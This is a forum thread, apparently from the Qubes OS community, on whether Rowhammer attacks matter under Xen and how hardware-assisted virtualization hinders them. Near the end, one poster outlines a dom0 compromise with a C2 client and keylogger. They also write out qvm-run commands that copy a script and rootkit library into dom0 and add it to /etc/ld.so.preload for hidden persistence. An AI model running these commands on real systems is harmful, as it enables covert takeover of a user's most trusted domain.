Is there any Rowhammer mitigation available to Qubes VMs?
Does rowhammer matter if you are using passwordless root?
I don’t know does it?
I could ask the same question, but I don’t want to risk starting an infinite loop.
Privilege escalation exploits don’t do much in Qubes, and I don’t think you can use rowhammer to break out of a qube.
Qubes is single user, the user account has access to all user crated data in a qube. There isn’t much to be gained by running an exploit to get access to the root account, which is also why qubes can use passwordless root.
are you saying rowahmmer can’t affect Xen?
Fascinating.
Isn’t it exactly why Qubes starting from 4.1 uses Xen’s PVH and HVM virtualization modes, which require VT-x/AMD-V?
This is clearly not my department and I can not claim to understand the paper to a sufficient degree.
As far as I understood the paper they use an attack which they call a
page table replacement attack
and the vulnerable part is the DRAM, not the CPU and not the hypervisor.
Could you elaborate or provide a link how this helps against a page table replacement attack?
Unfortunately me neither. I was hoping to hear it from someone else, or you, in order to understand it.
I just read in the document you linked to (and it’s from 2016(!)):
Row hammer resistance with hardware-assisted vir-
tualization. Many of the attacks presented in this pa-
per (e.g., bit detection, double-sided row hammering,
and also cross-VM memory accesses enabled by page
table manipulation) require the adversary to know the
machine address of his virtual memory. One way to
prevent physical address disclosure to guest VMs is to
adopt hardware-assisted virtualization, such as Intel’s
VT-x [31] and AMD’s AMD-V [2]. Particularly, VT-x
employs Extended Page Tables and AMD-V introduces
Nested Page Tables [1] to accelerate the processor’s ac-
cesses to two layers of page tables, one controlled by the
guest VM and the other controlled by the hypervisor. In
this way, the guest VMs may no longer observe the real
physical addresses, as they are not embedded in the PTEs
any more. Hardware-assisted virtualization also prevents
direct manipulation of page tables, and thus the privilege
escalation attacks presented in this paper are not feasible.
The transition from Xen paravirtualization to
hardware-assisted virtualization in public clouds started
a few years ago, but the progress has been very slow
so that’s where my question came from.
2 Likes
Ah, thanks for pointing out this paragraph. I have only cross read the article quickly.
Usually mitigations are in place after such a long time. However, afaik every once in a while there are vulnerabilities on a hardware level which can’t be fixed and even mitigations are infeasible. But as I said… not my department. Nevertheless intriguing.
1 Like
I agree. And as we all know that is why we actually waited so long for 4.1, as I understand - Linux kernel to fully supporting PVH mode, specifically problems with booting the kernels in this mode.
I think that HVM/PVH qubes have few ways of probing physical memory
layout to perform the attack. That’s one other reason not to use PV
qubes.
I don’t remember seeing cross-VM rowhammer attacks that could work in
Qubes.
I always recommend shutting down or pausing other qubes if you are doing
some very sensitive task. You can script this and link it to a keyboard
shortcut for ease of use.
When I comment in the Forum or in the mailing lists I speak for myself.
2 Likes
I know since exactly because of this (unrelated to row hammer attacks) I waited for four years from 4.0’s to early 4.1 betas to come out me to start to use Qubes as a daily driver. Only tried live 3.x before that and in VirtualBox, while being patient.
Seems reasonable to me. However, isn’t dom0 not only a VM, too? And would a PoC not aim for dom0?
If so, a malicious actor would likely go for installing i.e. a ld_preload rootkit in dom0 which establishes a bidirectional pipe to NetVM (sys-firewall) in which a C2-client is running in RAM to contact it’s C2-server. If the RAM-based C2-client in NetVM cannot be reached (i.e. the NetVM is a dispVM and has just been restarted) the C2-client can be re-initiated from dom0 on a regular basis. A keylogger or a data exfiltration tool needs to be transfered to and run in dom0 of course.
I’m not saying this is easy to do. But as most of us know complex exploits (chains) have been shown to exist. Google’s project zero has quite some impressive readings regarding these.
Therefore, if Rowhammer were still feasable on QubesOS, that could pose a problem. As I wrote elsewhere a browser hooked by BeEF would be annoying and dangerous enough being a foothold at least. And a much lower hanging fruit.
Another old exploit (2017): Project Zero: Pandavirtualization: Exploiting the Xen hypervisor
Anyway, although I don’t believe Qubes OS is impenetrable, it still holds a lot of features KVM/qemu/libvirt doesn’t offer out of the box.
There is major difference between inter-qube memory attacks and
qube->dom0 attacks.
I don’t recall seeing exploit or POC of that.
1 Like
Wait, how, I don’t understand? Once an adversary in dom0, Metallica…? I’m sure I didn’t understand how would rootkit end in dom0.
If you have RCE (remote code execution) on a machine… and I believe both approaches mentioned would allow RCE on an unpatched system… you can copy and run more code on the machine:
qvm-run --pass-io sys-pwned "cat /home/user/.badly_hidden_script" > /tmp/DDexec.sh
qvm-run --pass-io sys-pwned "cat /home/user/.badly_hidden_rootkit" > /tmp/librootkit.so
and/or
sudo echo /tmp/librootkit.so >> /etc/ld.so.preload
Creating files on an attacked system is considered “noisy”. So a rootkit would be the logical step to allow the attacker to become more or less invisible. For reasons you might not want to use /tmp in the process though.
Disclaimer: do not create file /etc/ld.so.preload in dom0 as it may easily break your system… in dispVMs that shouldn’t be a problem.
What I’m trying to say: one line of code is enough to piggyback load and execute tons of code.